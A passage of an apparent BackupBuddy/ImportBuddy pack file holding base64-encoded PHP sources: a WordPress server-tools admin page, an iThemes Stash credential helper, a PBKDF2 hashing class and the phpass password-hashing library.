NrdXBidWRkeV9jb3JlOjpnZXRfcGx1Z2luc19yb290KCksICdiYWNrdXBidWRkeV9jb3JlOjpnZXRfcGx1Z2luc19yb290KCknICk7Cgkkd3Bfc2V0dGluZ3NbXSA9IGFycmF5KCAnTWVkaWEgcm9vdCcsIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF9tZWRpYV9yb290KCksICdiYWNrdXBidWRkeV9jb3JlOjpnZXRfbWVkaWFfcm9vdCgpJyApOwoKCS8vIERpc3BsYXkgV1Agc2V0dGluZ3MuCglwYl9iYWNrdXBidWRkeTo6JHVpLT5saXN0X3RhYmxlKAoJCSR3cF9zZXR0aW5ncywKCQlhcnJheSgKCQkJJ2FjdGlvbicgID0+IHBiX2JhY2t1cGJ1ZGR5OjpwYWdlX3VybCgpLAoJCQknY29sdW1ucycgPT4gYXJyYXkoCgkJCQlfXyggJ1VSTHMgJiBQYXRocycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJX18oICdWYWx1ZScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJX18oICdPYnRhaW5lZCB2aWEnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCQkJKSwKCQkJJ2NzcycgICAgID0+ICd3aWR0aDogMTAwJTsnLAoJCSkKCSk7CgoJcGJfYmFja3VwYnVkZHk6OiR1aS0+ZW5kX3RhYigpOwoKCS8vIFRoaXMgcGFnZSBjYW4gdGFrZSBhIGJpdCB0byBydW4uCgkvLyBSdW5zIEFGVEVSIHNlcnZlciBpbmZvcm1hdGlvbiBpcyBkaXNwbGF5ZWQgc28gd2UgY2FuIHZpZXcgdGhlIGRlZmF1bHQgbGltaXRzIGZvciB0aGUgc2VydmVyLgoJcGJfYmFja3VwYnVkZHk6OnNldF9ncmVlZHlfc2NyaXB0X2xpbWl0cygpOwoKCXBiX2JhY2t1cGJ1ZGR5OjokdWktPnN0YXJ0X3RhYiggJ2RhdGFiYXNlJyApOwoKCQlyZXF1aXJlX29uY2UgJ3NlcnZlcl9pbmZvL2RhdGFiYXNlLnBocCc7CgkJZWNobyAnPGJyPjxicj48YSBuYW1lPSJkYXRhYmFzZV9yZXBsYWNlIj48L2E+JzsKCQllY2hvICc8ZGl2IGNsYXNzPSJwYl9odGl0bGUiPkFkdmFuY2VkOiAnIC4gZXNjX2h0bWxfXyggJ0RhdGFiYXNlIE1hc3MgVGV4dCBSZXBsYWNlbWVudCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzwvZGl2Pjxicj4nOwoJCXBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3ZpZXcoICdfc2VydmVyX3Rvb2xzLWRhdGFiYXNlX3JlcGxhY2UnICk7CgoJcGJfYmFja3VwYnVkZHk6OiR1aS0+ZW5kX3RhYigpOwoKCXBiX2JhY2t1cGJ1ZGR5OjokdWktPnN0YXJ0X3RhYiggJ2ZpbGVzJyApOwoJCXJlcXVpcmVfb25jZSAnc2VydmVyX2luZm8vc2l0ZV9zaXplLnBocCc7CglwYl9iYWNrdXBidWRkeTo6JHVpLT5lbmRfdGFiKCk7CgoJcGJfYmFja3VwYnVkZHk6OiR1aS0+c3RhcnRfdGFiKCAnY3JvbicgKTsKCQlyZXF1aXJlX29uY2UgJ3NlcnZlcl9pbmZvL2Nyb24ucGhwJzsKCXBiX2JhY2t1cGJ1ZGR5OjokdWktPmVuZF90YWIoKTsKCgllY2hvICc8YnIgc3R5bGU9ImNsZWFyOiBib3RoOyI+PGJyPjxicj4nOwoJcGJfYmFja3VwYnVkZHk6OiR1aS0+ZW5kX3RhYnMoKTsKCgkvLyBIYW5kbGVzIHRoaWNrYm94IGF1dG8tcmVzaXppbmcuIEtlZXAgYXQgYm90dG9tIG9mIHBhZ2UgdG8gYXZvaWQgaXNzdWVzLgoJaWYgKCAhIHdwX3NjcmlwdF9pcyggJ21lZGlhLXVwbG9hZCcgKSApIHsKCQl3cF9lbnF1ZXVlX3NjcmlwdCggJ21lZGlhLXVwbG9hZCcgKTsKCQl3cF9wcmludF9zY3JpcHRzKCAnbWVkaWEtdXBsb2FkJyApOwoJfQp9IGVsc2UgeyAvLyBJTlNJREUgSU1QT1JUQlVERFkuCglpZiAoICcnID09IHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAnc2tpcF9zZXJ2ZXJpbmZvJyApICkgeyAvLyBHaXZlIGEgd29ya2Fyb3VuZCB0byBza2lwIHRoaXMuCgkJcmVxdWlyZV9vbmNlICdzZXJ2ZXJfaW5mby9zZXJ2ZXIucGhwJzsKCX0gZWxzZSB7CgkJZWNobyAne1NraXBwaW5nIFNlcnZlciBJbmZvLiBzZWN0aW9uIGJhc2VkIG9uIHF1ZXJ5c3RyaW5nLn0nOwoJfQp9Cg==
###PACKDATA,FILE_END,/controllers/pages/server_tools.php,importbuddy/controllers/pages/server_tools.php
###PACKDATA,FILE_START,/destinations/stash2/class.itx_helper2.php,importbuddy/lib/stash2/class.itx_helper2.php
PD9waHAKcmVxdWlyZV9vbmNlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy9jbGFzcy5pdGNyZWQucGhwJyApOwoKY2xhc3MgSVRYQVBJX0hlbHBlcjIgewoJCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfcGhwYXNzX2hhc2hfcGFzc3dvcmQoICRwYXNzd29yZCApIHsKCQlpZiAoICEgY2xhc3NfZXhpc3RzKCAnUGFzc3dvcmRIYXNoJyApICkgewoJCQlyZXF1aXJlX29uY2UoIGRpcm5hbWUoIF9fRklMRV9fICkgLiAnL2NsYXNzLXBocGFzcy5waHAnKTsKCQl9CgkJCgkJJGhhc2hlciA9IG5ldyBQYXNzd29yZEhhc2goOCwgdHJ1ZSk7CgkJJGhhc2ggPSAkaGFzaGVyLT5IYXNoUGFzc3dvcmQoJHBhc3N3b3JkKTsKCQkKCQlyZXR1cm4gJGhhc2g7CgkJCgl9CgkKCS8vIFdBUzogZ2V0X3dvcmRwcmVzc19waHBhc3MoKS4KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0X2FjY2Vzc190b2tlbigkdXNlciwgJHBhc3MsICRzaXRlLCAkd3ApIHsKCQlpZiAoICEgY2xhc3NfZXhpc3RzKCAnUGFzc3dvcmRIYXNoJyApICkgewoJCQlyZXF1aXJlX29uY2UoIGRpcm5hbWUoIF9fRklMRV9fICkgLiAnL2NsYXNzLXBocGFzcy5waHAnKTsKCQl9CgkJCgkJJHNvdXJjZV9zdHJpbmcgPSAkcGFzcyAuICR1c2VyIC4gc3RyX3JlcGxhY2UoICd3d3cuJywgJycsICRzaXRlICkgLiAkd3A7CgkJJHNhbHRlZF9zdHJpbmcyID0gc3Vic3RyKCAkc291cmNlX3N0cmluZywgMCwgbWF4KCBzdHJsZW4oICRwYXNzICksIDUxMiApICk7ICAgICAvLyAgbmV3IGF1dGggd2l0aCBoYXNoZWQgcGFzc3dvcmRzCgkJCgkJcmV0dXJuIHNlbGY6Ol9waHBhc3NfaGFzaF9wYXNzd29yZCggJHNhbHRlZF9zdHJpbmcyICk7Cgl9CgkKfSAvLyBFbmQgY2xhc3Mu
###PACKDATA,FILE_END,/destinations/stash2/class.itx_helper2.php,importbuddy/lib/stash2/class.itx_helper2.php
###PACKDATA,FILE_START,/destinations/stash2/class.itcred.php,importbuddy/lib/stash2/class.itcred.php
PD9waHAKCiAgICAvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgICAKICAgIGNsYXNzIGlUaGVtZXNfQ3JlZGVudGlhbHMKICAgIHsKICAgIAogICAgICAgIC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgICAgICAKICAgICAgICBwcm90ZWN0ZWQgJGhhc2ggICAgICAgICAgICAgPSAnc2hhMjU2JzsgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAKICAgICAgICBwcm90ZWN0ZWQgJHNhbHRfcGFkZGluZyAgICAgPSAnd2RIVndVJkhjWWNXbmxsbyVrVFVVbnhwU2N5NCVJQ00yOSc7CiAgICAgICAgCiAgICAgICAgcHJvdGVjdGVkICRpdGVyYXRpb25fY291bnQgID0gMTMxMDcyOwogICAgICAgIAogICAgICAgIHByb3RlY3RlZCAka2V5X2xlbmd0aCAgICAgICA9IDY0OwogICAgICAgICAgICAgICAKICAgICAgICBwcm90ZWN0ZWQgJHBhc3N3b3JkOwogICAgICAgIAogICAgICAgIC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgICAgICAKICAgICAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRvcHRpb25zID0gYXJyYXkoKSkKICAgICAgICB7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgIAogICAgICAgICAgICAkdGhpcy0+dXNlcm5hbWUgPSAkdXNlcm5hbWU7CiAgICAgICAgICAgIAogICAgICAgICAgICAkdGhpcy0+cGFzc3dvcmQgPSAkcGFzc3dvcmQ7CiAgICAgICAgICAgIAogICAgICAgICAgICAKICAgICAgICAgICAgaWYoIWVtcHR5KCRvcHRpb25zWydoYXNoJ10pKQogICAgICAgICAgICAgICAgJHRoaXMtPmhhc2ggICAgICAgICAgICAgPSBzdHJ0b2xvd2VyKHRyaW0oJG9wdGlvbnNbJ2hhc2gnXSkpOwogICAgICAgICAgICAKICAgICAgICAgICAgaWYoIWVtcHR5KCRvcHRpb25zWydpdGVyYXRpb25zJ10pKQogICAgICAgICAgICAgICAgJHRoaXMtPml0ZXJhdGlvbl9jb3VudCAgPSBpbnR2YWwoJG9wdGlvbnNbJ2l0ZXJhdGlvbnMnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgIGlmKCFlbXB0eSgkb3B0aW9uc1snc2FsdCddKSkKICAgICAgICAgICAgICAgICR0aGlzLT5zYWx0X3BhZGRpbmcgICAgID0gJG9wdGlvbnNbJ3NhbHQnXTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmKCFlbXB0eSgkb3B0aW9uc1sna2V5X2xlbmd0aCddKSkKICAgICAgICAgICAgICAgICR0aGlzLT5rZXlfbGVuZ3RoICAgICAgID0gaW50dmFsKCRvcHRpb25zWydrZXlfbGVuZ3RoJ10pOwogICAgICAgIAogICAgICAgIH0gICAgICAgICAgICAgICAgCiAgICAgICAgCiAgICAgICAgLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAgICAgICAgCiAgICAgICAgCiAgICAgICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfcGFzc3dvcmRfaGFzaCgkdXNlcm5hbWUsICRwYXNzd29yZCwgJG9wdGlvbnMgPSBhcnJheSgpKQogICAgICAgIHsKICAgICAgICAgICAgJGhhc2hlciA9IG5ldyBpVGhlbWVzX0NyZWRlbnRpYWxzKCR1c2VybmFtZSwgJHBhc3N3b3JkLCAkb3B0aW9ucyk7CiAgICAgICAgICAgIAogICAgICAgICAgICByZXR1cm4gJGhhc2hlci0+Z2V0X3Bia2RmMigpOwogICAgICAgICAgICAKICAgICAgICB9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAKICAgICAgICAvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgICAgICAgCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIGdldF9zYWx0KCkKICAgICAgICB7CiAgICAgICAgICAgIAogICAgICAgICAgICByZXR1cm4gc3RydG9sb3dlcih0cmltKCR0aGlzLT51c2VybmFtZSkpIC4gJHRoaXMtPnNhbHRfcGFkZGluZzsgICAgICAgICAgICAKICAgICAgICAgICAgCiAgICAgICAgfSAgICAgICAgICAgICAgICAKICAgICAgICAKICAgICAgICAvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgICAgICAgCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIGdldF9wYmtkZjIoKQogICAgICAgIHsKICAgICAgICAgICAgCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cGJrZGYyKCR0aGlzLT5oYXNoLCAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnBhc3N3b3JkLCAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmdldF9zYWx0KCksIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+aXRlcmF0aW9uX2NvdW50LCAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmtleV9sZW5ndGggLyAyLCAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFsc2UpOwogICAgICAgICAgICAKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAgICAgICAgCiAgICAgICAgCiAgICAgICAgLyoKICAgICAgICAgKiBQQktERjIga2V5IGRlcml2YXRpb24gZnVuY3Rpb24gYXMgZGVmaW5lZCBieSBSU0EncyBQS0NTICM1OiBodHRwczovL3d3dy5pZXRmLm9yZy9yZmMvcmZjMjg5OC50eHQKICAgICAgICAgKiAkYWxnb3JpdGhtIC0gVGhlIGhhc2ggYWxnb3JpdGhtIHRvIHVzZS4gUmVjb21tZW5kZWQ6IFNIQTI1NgogICAgICAgICAqICRwYXNzd29yZCAtIFRoZSBwYXNzd29yZC4KICAgICAgICAgKiAkc2FsdCAtIEEgc2FsdCB0aGF0IGlzIHVuaXF1ZSB0byB0aGUgcGFzc3dvcmQuCiAgICAgICAgICogJGNvdW50IC0gSXRlcmF0aW9uIGNvdW50LiBIaWdoZXIgaXMgYmV0dGVyLCBidXQgc2xvd2VyLiBSZWNvbW1lbmRlZDogQXQgbGVhc3QgMTAwMC4KICAgICAgICAgKiAka2V5X2xlbmd0aCAtIFRoZSBsZW5ndGggb2YgdGhlIGRlcml2ZWQga2V5IGluIGJ5dGVzLgogICAgICAgICAqICRyYXdfb3V0cHV0IC0gSWYgdHJ1ZSwgdGhlIGtleSBpcyByZXR1cm5lZCBpbiByYXcgYmluYXJ5IGZvcm1hdC4gSGV4IGVuY29kZWQgb3RoZXJ3aXNlLgogICAgICAgICAqIFJldHVybnM6IEEgJGtleV9sZW5ndGgtYnl0ZSBrZXkgZGVyaXZlZCBmcm9tIHRoZSBwYXNzd29yZCBhbmQgc2FsdC4KICAgICAgICAgKgogICAgICAgICAqIFRlc3QgdmVjdG9ycyBjYW4gYmUgZm91bmQgaGVyZTogaHR0cHM6Ly93d3cuaWV0Zi5vcmcvcmZjL3JmYzYwNzAudHh0CiAgICAgICAgICoKICAgICAgICAgKiBUaGlzIGltcGxlbWVudGF0aW9uIG9mIFBCS0RGMiB3YXMgb3JpZ2luYWxseSBjcmVhdGVkIGJ5IGh0dHBzOi8vZGVmdXNlLmNhCiAgICAgICAgICogV2l0aCBpbXByb3ZlbWVudHMgYnkgaHR0cDovL3d3dy52YXJpYXRpb25zLW9mLXNoYWRvdy5jb20KICAgICAgICAgKi8KICAgICAgICBwdWJsaWMgZnVuY3Rpb24gcGJrZGYyKCRhbGdvcml0aG0sICRwYXNzd29yZCwgJHNhbHQsICRjb3VudCwgJGtleV9sZW5ndGgsICRyYXdfb3V0cHV0ID0gZmFsc2UpCiAgICAgICAgewogICAgICAgICAgICAKICAgICAgICAgICAgJGFsZ29yaXRobSA9IHN0cnRvbG93ZXIoJGFsZ29yaXRobSk7CiAgICAgICAgICAgIAogICAgICAgICAgICBpZighaW5fYXJyYXkoJGFsZ29yaXRobSwgaGFzaF9hbGdvcygpLCB0cnVlKSkKICAgICAgICAgICAgICAgIHRyaWdnZXJfZXJyb3IoJ1BCS0RGMiBFUlJPUjogSW52YWxpZCBoYXNoIGFsZ29yaXRobS4nLCBFX1VTRVJfRVJST1IpOwogICAgICAgICAgICAKICAgICAgICAgICAgaWYoJGNvdW50IDw9IDAgfHwgJGtleV9sZW5ndGggPD0gMCkKICAgICAgICAgICAgICAgIHRyaWdnZXJfZXJyb3IoJ1BCS0RGMiBFUlJPUjogSW52YWxpZCBwYXJhbWV0ZXJzLicsIEVfVVNFUl9FUlJPUik7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgCiAgICAgICAgICAgICRoYXNoX2xlbmd0aCA9IHN0cmxlbihoYXNoKCRhbGdvcml0aG0sICcnLCB0cnVlKSk7CiAgICAgICAgICAgICRibG9ja19jb3VudCA9IGNlaWwoJGtleV9sZW5ndGggLyAkaGFzaF9sZW5ndGgpOwogICAgICAgIAogICAgICAgICAgICAkb3V0cHV0ID0gJyc7CiAgICAgICAgICAgIAogICAgICAgICAgICBmb3IoJGkgPSAxOyAkaSA8PSAkYmxvY2tfY291bnQ7ICRpKyspIAogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC8vICRpIGVuY29kZWQgYXMgNCBieXRlcywgYmlnIGVuZGlhbi4KICAgICAgICAgICAgICAgICRsYXN0ID0gJHNhbHQgLiBwYWNrKCJOIiwgJGkpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAvLyBmaXJzdCBpdGVyYXRpb24KICAgICAgICAgICAgICAgICRsYXN0ID0gJHhvcnN1bSA9IGhhc2hfaG1hYygkYWxnb3JpdGhtLCAkbGFzdCwgJHBhc3N3b3JkLCB0cnVlKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgLy8gcGVyZm9ybSB0aGUgb3RoZXIgJGNvdW50IC0gMSBpdGVyYXRpb25zCiAgICAgICAgICAgICAgICBmb3IgKCRqID0gMTsgJGogPCAkY291bnQ7ICRqKyspIAogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICR4b3JzdW0gXj0gKCRsYXN0ID0gaGFzaF9obWFjKCRhbGdvcml0aG0sICRsYXN0LCAkcGFzc3dvcmQsIHRydWUpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJG91dHB1dCAuPSAkeG9yc3VtOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICAKICAgICAgICAgICAgaWYoJHJhd19vdXRwdXQpCiAgICAgICAgICAgICAgICByZXR1cm4gc3Vic3RyKCRvdXRwdXQsIDAsICRrZXlfbGVuZ3RoKTsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgcmV0dXJuIGJpbjJoZXgoc3Vic3RyKCRvdXRwdXQsIDAsICRrZXlfbGVuZ3RoKSk7CiAgICAgICAgICAgICAgICAKICAgICAgICB9CgogICAgICAgIC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgIH0KICAgIAogICAgLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgCg==
###PACKDATA,FILE_END,/destinations/stash2/class.itcred.php,importbuddy/lib/stash2/class.itcred.php
###PACKDATA,FILE_START,/destinations/stash2/class-phpass.php,importbuddy/lib/stash2/class-phpass.php
PD9waHAKLyoqCiAqIFBvcnRhYmxlIFBIUCBwYXNzd29yZCBoYXNoaW5nIGZyYW1ld29yay4KICogQHBhY2thZ2UgcGhwYXNzCiAqIEBzaW5jZSAyLjUuMAogKiBAdmVyc2lvbiAwLjMgLyBXb3JkUHJlc3MKICogQGxpbmsgaHR0cDovL3d3dy5vcGVud2FsbC5jb20vcGhwYXNzLwogKi8KCiMKIyBXcml0dGVuIGJ5IFNvbGFyIERlc2lnbmVyIDxzb2xhciBhdCBvcGVud2FsbC5jb20+IGluIDIwMDQtMjAwNiBhbmQgcGxhY2VkIGluCiMgdGhlIHB1YmxpYyBkb21haW4uICBSZXZpc2VkIGluIHN1YnNlcXVlbnQgeWVhcnMsIHN0aWxsIHB1YmxpYyBkb21haW4uCiMKIyBUaGVyZSdzIGFic29sdXRlbHkgbm8gd2FycmFudHkuCiMKIyBQbGVhc2UgYmUgc3VyZSB0byB1cGRhdGUgdGhlIFZlcnNpb24gbGluZSBpZiB5b3UgZWRpdCB0aGlzIGZpbGUgaW4gYW55IHdheS4KIyBJdCBpcyBzdWdnZXN0ZWQgdGhhdCB5b3UgbGVhdmUgdGhlIG1haW4gdmVyc2lvbiBudW1iZXIgaW50YWN0LCBidXQgaW5kaWNhdGUKIyB5b3VyIHByb2plY3QgbmFtZSAoYWZ0ZXIgdGhlIHNsYXNoKSBhbmQgYWRkIHlvdXIgb3duIHJldmlzaW9uIGluZm9ybWF0aW9uLgojCiMgUGxlYXNlIGRvIG5vdCBjaGFuZ2UgdGhlICJwcml2YXRlIiBwYXNzd29yZCBoYXNoaW5nIG1ldGhvZCBpbXBsZW1lbnRlZCBpbgojIGhlcmUsIHRoZXJlYnkgbWFraW5nIHlvdXIgaGFzaGVzIGluY29tcGF0aWJsZS4gIEhvd2V2ZXIsIGlmIHlvdSBtdXN0LCBwbGVhc2UKIyBjaGFuZ2UgdGhlIGhhc2ggdHlwZSBpZGVudGlmaWVyICh0aGUgIiRQJCIpIHRvIHNvbWV0aGluZyBkaWZmZXJlbnQuCiMKIyBPYnZpb3VzbHksIHNpbmNlIHRoaXMgY29kZSBpcyBpbiB0aGUgcHVibGljIGRvbWFpbiwgdGhlIGFib3ZlIGFyZSBub3QKIyByZXF1aXJlbWVudHMgKHRoZXJlIGNhbiBiZSBub25lKSwgYnV0IG1lcmVseSBzdWdnZXN0aW9ucy4KIwoKLyoqCiAqIFBvcnRhYmxlIFBIUCBwYXNzd29yZCBoYXNoaW5nIGZyYW1ld29yay4KICoKICogQHBhY2thZ2UgcGhwYXNzCiAqIEB2ZXJzaW9uIDAuMyAvIFdvcmRQcmVzcwogKiBAbGluayBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9waHBhc3MvCiAqIEBzaW5jZSAyLjUuMAogKi8KY2xhc3MgUGFzc3dvcmRIYXNoIHsKCXZhciAkaXRvYTY0OwoJdmFyICRpdGVyYXRpb25fY291bnRfbG9nMjsKCXZhciAkcG9ydGFibGVfaGFzaGVzOwoJdmFyICRyYW5kb21fc3RhdGU7CgoJLyoqCgkgKiBQSFA1IGNvbnN0cnVjdG9yLgoJICovCglmdW5jdGlvbiBfX2NvbnN0cnVjdCggJGl0ZXJhdGlvbl9jb3VudF9sb2cyLCAkcG9ydGFibGVfaGFzaGVzICkKCXsKCQkkdGhpcy0+aXRvYTY0ID0gJy4vMDEyMzQ1Njc4OUFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXonOwoKCQlpZiAoJGl0ZXJhdGlvbl9jb3VudF9sb2cyIDwgNCB8fCAkaXRlcmF0aW9uX2NvdW50X2xvZzIgPiAzMSkKCQkJJGl0ZXJhdGlvbl9jb3VudF9sb2cyID0gODsKCQkkdGhpcy0+aXRlcmF0aW9uX2NvdW50X2xvZzIgPSAkaXRlcmF0aW9uX2NvdW50X2xvZzI7CgoJCSR0aGlzLT5wb3J0YWJsZV9oYXNoZXMgPSAkcG9ydGFibGVfaGFzaGVzOwoKCQkkdGhpcy0+cmFuZG9tX3N0YXRlID0gbWljcm90aW1lKCkgLiB1bmlxaWQocmFuZCgpLCBUUlVFKTsgLy8gcmVtb3ZlZCBnZXRteXBpZCgpIGZvciBjb21wYXRpYmlsaXR5IHJlYXNvbnMKCX0KCgkvKioKCSAqIFBIUDQgY29uc3RydWN0b3IuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBQYXNzd29yZEhhc2goICRpdGVyYXRpb25fY291bnRfbG9nMiwgJHBvcnRhYmxlX2hhc2hlcyApIHsKCQlzZWxmOjpfX2NvbnN0cnVjdCggJGl0ZXJhdGlvbl9jb3VudF9sb2cyLCAkcG9ydGFibGVfaGFzaGVzICk7Cgl9CgoJZnVuY3Rpb24gZ2V0X3JhbmRvbV9ieXRlcygkY291bnQpCgl7CgkJJG91dHB1dCA9ICcnOwoJCWlmICggQGlzX3JlYWRhYmxlKCcvZGV2L3VyYW5kb20nKSAmJgoJCSAgICAoJGZoID0gQGZvcGVuKCcvZGV2L3VyYW5kb20nLCAncmInKSkpIHsKCQkJJG91dHB1dCA9IGZyZWFkKCRmaCwgJGNvdW50KTsKCQkJZmNsb3NlKCRmaCk7CgkJfQoKCQlpZiAoc3RybGVuKCRvdXRwdXQpIDwgJGNvdW50KSB7CgkJCSRvdXRwdXQgPSAnJzsKCQkJZm9yICgkaSA9IDA7ICRpIDwgJGNvdW50OyAkaSArPSAxNikgewoJCQkJJHRoaXMtPnJhbmRvbV9zdGF0ZSA9CgkJCQkgICAgbWQ1KG1pY3JvdGltZSgpIC4gJHRoaXMtPnJhbmRvbV9zdGF0ZSk7CgkJCQkkb3V0cHV0IC49CgkJCQkgICAgcGFjaygnSConLCBtZDUoJHRoaXMtPnJhbmRvbV9zdGF0ZSkpOwoJCQl9CgkJCSRvdXRwdXQgPSBzdWJzdHIoJG91dHB1dCwgMCwgJGNvdW50KTsKCQl9CgoJCXJldHVybiAkb3V0cHV0OwoJfQoKCWZ1bmN0aW9uIGVuY29kZTY0KCRpbnB1dCwgJGNvdW50KQoJewoJCSRvdXRwdXQgPSAnJzsKCQkkaSA9IDA7CgkJZG8gewoJCQkkdmFsdWUgPSBvcmQoJGlucHV0WyRpKytdKTsKCQkJJG91dHB1dCAuPSAkdGhpcy0+aXRvYTY0WyR2YWx1ZSAmIDB4M2ZdOwoJCQlpZiAoJGkgPCAkY291bnQpCgkJCQkkdmFsdWUgfD0gb3JkKCRpbnB1dFskaV0pIDw8IDg7CgkJCSRvdXRwdXQgLj0gJHRoaXMtPml0b2E2NFsoJHZhbHVlID4+IDYpICYgMHgzZl07CgkJCWlmICgkaSsrID49ICRjb3VudCkKCQkJCWJyZWFrOwoJCQlpZiAoJGkgPCAkY291bnQpCgkJCQkkdmFsdWUgfD0gb3JkKCRpbnB1dFskaV0pIDw8IDE2OwoJCQkkb3V0cHV0IC49ICR0aGlzLT5pdG9hNjRbKCR2YWx1ZSA+PiAxMikgJiAweDNmXTsKCQkJaWYgKCRpKysgPj0gJGNvdW50KQoJCQkJYnJlYWs7CgkJCSRvdXRwdXQgLj0gJHRoaXMtPml0b2E2NFsoJHZhbHVlID4+IDE4KSAmIDB4M2ZdOwoJCX0gd2hpbGUgKCRpIDwgJGNvdW50KTsKCgkJcmV0dXJuICRvdXRwdXQ7Cgl9CgoJZnVuY3Rpb24gZ2Vuc2FsdF9wcml2YXRlKCRpbnB1dCkKCXsKCQkkb3V0cHV0ID0gJyRQJCc7CgkJJG91dHB1dCAuPSAkdGhpcy0+aXRvYTY0W21pbigkdGhpcy0+aXRlcmF0aW9uX2NvdW50X2xvZzIgKwoJCQkoKFBIUF9WRVJTSU9OID49ICc1JykgPyA1IDogMyksIDMwKV07CgkJJG91dHB1dCAuPSAkdGhpcy0+ZW5jb2RlNjQoJGlucHV0LCA2KTsKCgkJcmV0dXJuICRvdXRwdXQ7Cgl9CgoJZnVuY3Rpb24gY3J5cHRfcHJpdmF0ZSgkcGFzc3dvcmQsICRzZXR0aW5nKQoJewoJCSRvdXRwdXQgPSAnKjAnOwoJCWlmIChzdWJzdHIoJHNldHRpbmcsIDAsIDIpID09ICRvdXRwdXQpCgkJCSRvdXRwdXQgPSAnKjEnOwoKCQkkaWQgPSBzdWJzdHIoJHNldHRpbmcsIDAsIDMpOwoJCSMgV2UgdXNlICIkUCQiLCBwaHBCQjMgdXNlcyAiJEgkIiBmb3IgdGhlIHNhbWUgdGhpbmcKCQlpZiAoJGlkICE9ICckUCQnICYmICRpZCAhPSAnJEgkJykKCQkJcmV0dXJuICRvdXRwdXQ7CgoJCSRjb3VudF9sb2cyID0gc3RycG9zKCR0aGlzLT5pdG9hNjQsICRzZXR0aW5nWzNdKTsKCQlpZiAoJGNvdW50X2xvZzIgPCA3IHx8ICRjb3VudF9sb2cyID4gMzApCgkJCXJldHVybiAkb3V0cHV0OwoKCQkkY291bnQgPSAxIDw8ICRjb3VudF9sb2cyOwoKCQkkc2FsdCA9IHN1YnN0cigkc2V0dGluZywgNCwgOCk7CgkJaWYgKHN0cmxlbigkc2FsdCkgIT0gOCkKCQkJcmV0dXJuICRvdXRwdXQ7CgoJCSMgV2UncmUga2luZCBvZiBmb